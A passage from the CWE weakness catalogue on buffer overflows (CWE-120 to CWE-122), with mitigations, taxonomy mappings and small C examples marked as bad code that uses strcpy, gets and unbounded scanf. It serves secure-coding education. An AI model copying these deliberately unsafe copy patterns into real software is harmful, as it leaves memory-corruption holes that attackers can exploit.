It is possible in any programming languages without memory management support to attempt an operation outside of the bounds of a memory buffer, but the consequences will vary widely depending on the language, platform, and chip architecture.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A5	Exact	Buffer Overflows
CERT C Secure Coding	ARR00-C		Understand how arrays work
CERT C Secure Coding	ARR30-C	CWE More Abstract	Do not form or use out-of-bounds pointers or array subscripts
CERT C Secure Coding	ARR38-C	CWE More Abstract	Guarantee that library functions do not form invalid pointers
CERT C Secure Coding	ENV01-C		Do not make assumptions about the size of an environment variable
CERT C Secure Coding	EXP39-C	Imprecise	Do not access a variable through a pointer of an incompatible type
CERT C Secure Coding	FIO37-C		Do not assume character data has been read
CERT C Secure Coding	STR31-C	CWE More Abstract	Guarantee that storage for strings has sufficient space for character data and the null terminator
CERT C Secure Coding	STR32-C	CWE More Abstract	Do not pass a non-null-terminated character sequence to a library function that expects a string
WASC	7		Buffer Overflow

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
8	Buffer Overflow in an API Call
9	Buffer Overflow in Local Command-Line Utilities
10	Buffer Overflow via Environment Variables
14	Client-side Injection-induced Buffer Overflow
24	Filter Failure through Buffer Overflow
42	MIME Conversion
44	Overflow Binary Resource File

CAPEC-ID	Attack Pattern Name
45	Buffer Overflow via Symbolic Links
46	Overflow Variables and Tags
47	Buffer Overflow via Parameter Expansion
100	Overflow Buffers
123	Buffer Manipulation

References

[REF-1029]Aleph One. "Smashing The Stack For Fun And Profit". 1996 November 8. < http://phrack.org/issues/49/14.html >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-56]Microsoft. "Using the Strsafe.h Functions". < http://msdn.microsoft.com/en-us/library/ms647466.aspx >.

[REF-57]Matt Messier and John Viega. "Safe C String Library v1.0.3". < http://www.zork.org/safestr/ >.

[REF-58]Michael Howard. "Address Space Layout Randomization in Windows Vista". < http://blogs.msdn.com/michael_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx >.

[REF-59]Arjan van de Ven. "Limiting buffer overflows with ExecShield". < http://www.redhat.com/magazine/009jul05/features/execshield/ >.

[REF-60]"PaX". < http://en.wikipedia.org/wiki/PaX >.

[REF-61]Microsoft. "Understanding DEP as a mitigation technology part 1". < http://blogs.technet.com/b/srd/archive/2009/06/12/understanding-dep-as-a-mitigation-technology-part-1.aspx >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-64]Grant Murphy. "Position Independent Executables (PIE)". 2012 November 8. Red Hat. < https://securityblog.redhat.com/2012/11/28/position-independent-executables-pie/ >.

CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

Weakness ID : 120 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The program copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer, leading to a buffer overflow.

Extended Description

A buffer overflow condition exists when a program attempts to put more data in a buffer than it can hold, or when a program attempts to put data in a memory area outside of the boundaries of a buffer. The simplest type of error, and the most common cause of buffer overflows, is the "classic" case in which the program copies the buffer without restricting how much is copied. Other variants exist, but the existence of a classic overflow strongly suggests that the programmer is not considering even the most basic of security protections.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	271
ParentOf	V	785	Use of Path Manipulation Function without Maximum-sized Buffer	1459
CanFollow	B	170	Improper Null Termination	395
CanFollow	V	231	Improper Handling of Extra Values	523
CanFollow	V	416	Use After Free	904
CanFollow	V	456	Missing Initialization of a Variable	971
CanPrecede	B	123	Write-what-where Condition	296

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	271

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1218	Memory Buffer Errors	2016

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

Nature	Type	ID	Name	Page
ChildOf	C	20	Improper Input Validation	19

Weakness Ordinalities

Resultant :

Primary :

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : Assembly *(Prevalence = Undetermined)*

Alternate Terms

buffer overrun : Some prominent vendors and researchers use the term "buffer overrun," but most people use "buffer overflow."

Unbounded Transfer :

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Modify Memory Execute Unauthorized Code or Commands	

Scope	Impact	Likelihood
	Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy. This can often be used to subvert any other security service.	
Availability	Modify Memory DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) *Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.*	

Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.

Effectiveness = High

Detection techniques for buffer-related errors are more mature than for most other weakness types.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Manual Analysis

Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = High

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

Effectiveness = SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Requirements

Strategy = Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer. Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Examples include the Safe C String Library (SafeStr) by Messier and Viega [REF-57], and the Strsafe.h library from Microsoft [REF-56]. These libraries provide safer versions of overflow-prone string-handling functions.

Phase: Build and Compilation

Strategy = Compilation or Build Hardening

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows. For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.

Effectiveness = Defense in Depth

This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Implementation

Consider adhering to the following rules when allocating and managing an application's memory: Double check that your buffer is as large as you specify. When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string. Check buffer boundaries if accessing the buffer in a loop and make sure you are not in danger of writing past the allocated space. If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Operation

Strategy = Environment Hardening

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64].

Effectiveness = Defense in Depth

This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Operation

Strategy = Environment Hardening

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [REF-60] [REF-61].

Effectiveness = Defense in Depth

This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Build and Compilation

Phase: Operation

Most mitigating technologies at the compiler or OS level to date address only a subset of buffer overflow problems and rarely provide complete protection against even that subset. It is good practice to implement strategies to increase the workload of an attacker, such as leaving the attacker to guess an unknown value that changes every program execution.

Phase: Implementation

Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

Effectiveness = Moderate

This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131).

Phase: Architecture and Design

Strategy = Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Phase: Architecture and Design

Phase: Operation

Strategy = Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Architecture and Design

Phase: Operation

Strategy = Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness = Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Demonstrative Examples

Example 1:

The following code asks the user to enter their last name and then attempts to store the value entered in the last_name array.

Example Language: C *(bad)*

```
char last_name[20];
printf ("Enter your last name: ");
scanf ("%s", last_name);
```

The problem with the code above is that it does not restrict or limit the size of the name entered by the user. If the user enters "Very_very_long_last_name" which is 24 characters long, then a buffer overflow will occur since the array can only hold 20 characters total.

Example 2:

The following code attempts to create a local copy of a buffer to perform some manipulations to the data.

Example Language: C *(bad)*

```
void manipulate_string(char* string){
    char buf[24];
    strcpy(buf, string);
    ...
}
```

However, the programmer does not ensure that the size of the data pointed to by string will fit in the local buffer and blindly copies the data with the potentially dangerous strcpy() function. This may result in a buffer overflow condition if an attacker can influence the contents of the string parameter.

Example 3:

The excerpt below calls the gets() function in C, which is inherently unsafe.

Example Language: C *(bad)*

```
    char buf[24];
    printf("Please enter your name and press <Enter>\n");
    gets(buf);
    ...
}
```

However, the programmer uses the function gets() which is inherently unsafe because it blindly copies all input from STDIN to the buffer without restricting how much is copied. This allows the user to provide a string that is larger than the buffer size, resulting in an overflow condition.

Example 4:

In the following example, a server accepts connections from a client and processes the client request. After accepting a client connection, the program will obtain client information using the gethostbyaddr method, copy the hostname of the client that connected to a local variable and output the hostname of the client to a log file.

Example Language: C *(bad)*

```
...
    struct hostent *clienthp;
    char hostname[MAX_LEN];
    // create server socket, bind to server address and listen on socket
    ...
    // accept client connections and process requests
    int count = 0;
    for (count = 0; count < MAX_CONNECTIONS; count++) {
        int clientlen = sizeof(struct sockaddr_in);
        int clientsocket = accept(serversocket, (struct sockaddr *)&clientaddr, &clientlen);
        if (clientsocket >= 0) {
            clienthp = gethostbyaddr((char*) &clientaddr.sin_addr.s_addr, sizeof(clientaddr.sin_addr.s_addr), AF_INET);
            strcpy(hostname, clienthp->h_name);
```

```
            logOutput("Accepted client connection from host ", hostname);
            // process client request
            ...
            close(clientsocket);
        }
    }
    close(serversocket);
...
```

However, the hostname of the client that connected may be longer than the allocated size for the local hostname variable. This will result in a buffer overflow when copying the client hostname to the local variable using the strcpy method.

Observed Examples

Reference	Description
CVE-2000-1094	buffer overflow using command with long argument *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1094*
CVE-1999-0046	buffer overflow in local program using long environment variable *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0046*
CVE-2002-1337	buffer overflow in comment characters, when product increments a counter for a ">" but does not decrement for "<" *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1337*
CVE-2003-0595	By replacing a valid cookie value with an extremely long string of characters, an attacker may overflow the application's buffers. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0595*
CVE-2001-0191	By replacing a valid cookie value with an extremely long string of characters, an attacker may overflow the application's buffers. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0191*

Functional Areas

- Memory Management

Affected Resources

- Memory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	1874
MemberOf	C	726	OWASP Top Ten 2004 Category A5 - Buffer Overflows	711	1877
MemberOf	C	741	CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)	734	1885
MemberOf	C	802	2010 Top 25 - Risky Resource Management	800	1895
MemberOf	C	865	2011 Top 25 - Risky Resource Management	900	1911
MemberOf	C	875	CERT C++ Secure Coding Section 07 - Characters and Strings (STR)	868	1916
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	970	SFP Secondary Cluster: Faulty Buffer Access	888	1945
MemberOf	C	1129	CISQ Quality Measures - Reliability	1128	1979
MemberOf	C	1131	CISQ Quality Measures - Security	1128	1981
MemberOf	C	1161	SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR)	1154	1997

Notes

Relationship

At the code level, stack-based and heap-based overflows do not differ significantly, so there usually is not a need to distinguish them. From the attacker perspective, they can be quite different, since different techniques are required to exploit them.

Terminology

Many issues that are now called "buffer overflows" are substantively different than the "classic" overflow, including entirely different bug types that rely on overflow exploit techniques, such as integer signedness errors, integer overflows, and format string bugs. This imprecise terminology can make it difficult to determine which variant is being reported.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Unbounded Transfer ('classic overflow')
7 Pernicious Kingdoms			Buffer Overflow
CLASP			Buffer overflow
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input
OWASP Top Ten 2004	A5	CWE More Specific	Buffer Overflows
CERT C Secure Coding	STR31-C	Exact	Guarantee that storage for strings has sufficient space for character data and the null terminator
WASC	7		Buffer Overflow
Software Fault Patterns	SFP8		Faulty Buffer Access
OMG ASCSM	ASCSM-CWE-120		
OMG ASCRM	ASCRM-CWE-120		

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
8	Buffer Overflow in an API Call
9	Buffer Overflow in Local Command-Line Utilities
10	Buffer Overflow via Environment Variables
14	Client-side Injection-induced Buffer Overflow
24	Filter Failure through Buffer Overflow
42	MIME Conversion
44	Overflow Binary Resource File
45	Buffer Overflow via Symbolic Links
46	Overflow Variables and Tags
47	Buffer Overflow via Parameter Expansion
67	String Format Overflow in syslog()
92	Forced Integer Overflow
100	Overflow Buffers

References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-56]Microsoft. "Using the Strsafe.h Functions". < http://msdn.microsoft.com/en-us/library/ms647466.aspx >.

[REF-57]Matt Messier and John Viega. "Safe C String Library v1.0.3". < http://www.zork.org/safestr/ >.

[REF-58]Michael Howard. "Address Space Layout Randomization in Windows Vista". < http://blogs.msdn.com/michael_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx >.

[REF-59]Arjan van de Ven. "Limiting buffer overflows with ExecShield". < http://www.redhat.com/magazine/009jul05/features/execshield/ >.

[REF-60]"PaX". < http://en.wikipedia.org/wiki/PaX >.

[REF-74]Jason Lam. "Top 25 Series - Rank 3 - Classic Buffer Overflow". 2010 March 2. SANS Software Security Institute. < http://software-security.sans.org/blog/2010/03/02/top-25-series-rank-3-classic-buffer-overflow/ >.

[REF-61]Microsoft. "Understanding DEP as a mitigation technology part 1". < http://blogs.technet.com/b/srd/archive/2009/06/12/understanding-dep-as-a-mitigation-technology-part-1.aspx >.

[REF-76]Sean Barnum and Michael Gegick. "Least Privilege". 2005 September 4. < https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-64]Grant Murphy. "Position Independent Executables (PIE)". 2012 November 8. Red Hat. < https://securityblog.redhat.com/2012/11/28/position-independent-executables-pie/ >.

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < http://www.omg.org/spec/ASCSM/1.0/ >.

CWE-121: Stack-based Buffer Overflow

Weakness ID : 121 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

A stack-based buffer overflow condition is a condition where the buffer being overwritten is allocated on the stack (i.e., is a local variable or, rarely, a parameter to a function).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	787	Out-of-bounds Write	1463
ChildOf	B	788	Access of Memory Location After End of Buffer	1470

Weakness Ordinalities

Primary :

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Background Details

There are generally several security-critical data on an execution stack that can lead to arbitrary code execution. The most prominent is the stored return address, the memory address at which execution should continue once the current function is finished executing. The attacker can overwrite this value with some memory address to which the attacker also has write access, into which they place arbitrary code to be run with the full privileges of the vulnerable program. Alternately, the attacker can supply the address of an important call, for instance the POSIX system() call, leaving arguments to the call on the stack. This is often called a return into libc exploit, since the attacker generally forces the program to jump at return time into an interesting routine in the C standard library (libc). Other important data commonly on the stack include the stack pointer and frame pointer, two values that indicate offsets for computing memory addresses. Modifying those values can often be leveraged into a "write-what-where" condition.

Alternate Terms

Stack Overflow : "Stack Overflow" is often used to mean the same thing as stack-based buffer overflow, however it is also used on occasion to mean stack exhaustion, usually a result from an excessively recursive function call. Due to the ambiguity of the term, use of stack overflow to describe either circumstance is discouraged.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Availability	Modify Memory DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) *Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.*	
Integrity Confidentiality Availability Access Control	Modify Memory Execute Unauthorized Code or Commands Bypass Protection Mechanism *Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy.*	
Integrity Confidentiality Availability Access Control Other	Modify Memory Execute Unauthorized Code or Commands Bypass Protection Mechanism Other *When the consequence is arbitrary code execution, this can often be used to subvert any other security service.*	

Potential Mitigations

Phase: Build and Compilation

Strategy = Compilation or Build Hardening

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows. For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.

Effectiveness = Defense in Depth

This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Architecture and Design

Use an abstraction library to abstract away risky APIs. Not a complete solution.

Phase: Build and Compilation

Compiler-based canary mechanisms such as StackGuard, ProPolice and the Microsoft Visual Studio /GS flag. Unless this provides automatic bounds checking, it is not a complete solution.

Phase: Implementation

Implement and perform bounds checking on input.

Phase: Implementation

Do not use dangerous functions such as gets. Use safer, equivalent functions which check for boundary errors.

Phase: Operation

Use OS-level preventative functionality, such as ASLR. This is not a complete solution.

Demonstrative Examples

Example 1:

While buffer overflow examples can be rather complex, it is possible to have very simple, yet still exploitable, stack-based buffer overflows:

Example Language: C *(bad)*

```
#define BUFSIZE 256
int main(int argc, char **argv) {
    char buf[BUFSIZE];
    strcpy(buf, argv[1]);
}
```

The buffer size is fixed, but there is no guarantee the string in argv[1] will not exceed this size and cause an overflow.

Example 2:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

Example Language: C *(bad)*

```
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
```

```
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

This function allocates a buffer of 64 bytes to store the hostname, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then we may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	970	SFP Secondary Cluster: Faulty Buffer Access	888	1945
MemberOf	C	1160	SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)	1154	1997
MemberOf	C	1161	SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR)	1154	1997

Notes

Other

Stack-based buffer overflows can instantiate in return address overwrites, stack pointer overwrites or frame pointer overwrites. They can also be considered function pointer overwrites, array indexer overwrites or write-what-where condition, etc.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Stack overflow
Software Fault Patterns	SFP8		Faulty Buffer Access
CERT C Secure Coding	ARR38-C	Imprecise	Guarantee that library functions do not form invalid pointers
CERT C Secure Coding	STR31-C	CWE More Specific	Guarantee that storage for strings has sufficient space for character data and the null terminator

References

[REF-1029]Aleph One. "Smashing The Stack For Fun And Profit". 1996 November 8. < http://phrack.org/issues/49/14.html >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-122: Heap-based Buffer Overflow

Weakness ID : 122 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

A heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc().

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	787	Out-of-bounds Write	1463
ChildOf	B	788	Access of Memory Location After End of Buffer	1470

Weakness Ordinalities

Primary :

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) *Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.*	
Integrity Confidentiality Availability Access Control	Execute Unauthorized Code or Commands Bypass Protection Mechanism Modify Memory *Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy. Besides important user data, heap-based overflows can be used to overwrite function pointers that may be living in memory, pointing it to the attacker's code. Even in applications that do not explicitly use function pointers, the run-time will usually leave many in memory. For example, object methods in C++ are generally implemented using function pointers. Even in C programs, there is often a global offset table used by the underlying runtime.*	
Integrity	Execute Unauthorized Code or Commands	

Scope	Impact	Likelihood
Confidentiality Availability Access Control Other	Bypass Protection Mechanism Other *When the consequence is arbitrary code execution, this can often be used to subvert any other security service.*	

Potential Mitigations

Pre-design: Use a language or compiler that performs automatic bounds checking.

Phase: Architecture and Design

Use an abstraction library to abstract away risky APIs. Not a complete solution.

Phase: Build and Compilation

Pre-design through Build: Canary style bounds checking, library changes which ensure the validity of chunk data, and other such fixes are possible, but should not be relied upon.

Phase: Implementation

Implement and perform bounds checking on input.

Phase: Implementation

Strategy = Libraries or Frameworks

Do not use dangerous functions such as gets. Look for their safe equivalent, which checks for the boundary.

Phase: Operation

Use OS-level preventative functionality. This is not a complete solution, but it provides some defense in depth.

Demonstrative Examples

Example 1:

While buffer overflow examples can be rather complex, it is possible to have very simple, yet still exploitable, heap-based buffer overflows:

Example Language: C *(bad)*

```
#define BUFSIZE 256
int main(int argc, char **argv) {
    char *buf;
    buf = (char *)malloc(sizeof(char)*BUFSIZE);
    strcpy(buf, argv[1]);
}
```

The buffer is allocated heap memory with a fixed size, but there is no guarantee the string in argv[1] will not exceed this size and cause an overflow.

Example 2:

This example applies an encoding procedure to an input string and stores it into a buffer.

Example Language: C *(bad)*

```
char * copy_input(char *user_supplied_string){
    int i, dst_index;
    char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
    if ( MAX_SIZE <= strlen(user_supplied_string) ){
        die("user string too long, die evil hacker!");
    }
    dst_index = 0;
    for ( i = 0; i < strlen(user_supplied_string); i++ ){
        if( '&' == user_supplied_string[i] ){
```

```
            dst_buf[dst_index++] = '&';
            dst_buf[dst_index++] = 'a';
            dst_buf[dst_index++] = 'm';
            dst_buf[dst_index++] = 'p';
            dst_buf[dst_index++] = ';';
        }
        else if ('<' == user_supplied_string[i] ){
            /* encode to &lt; */
        }
        else dst_buf[dst_index++] = user_supplied_string[i];
    }
    return dst_buf;
}
```

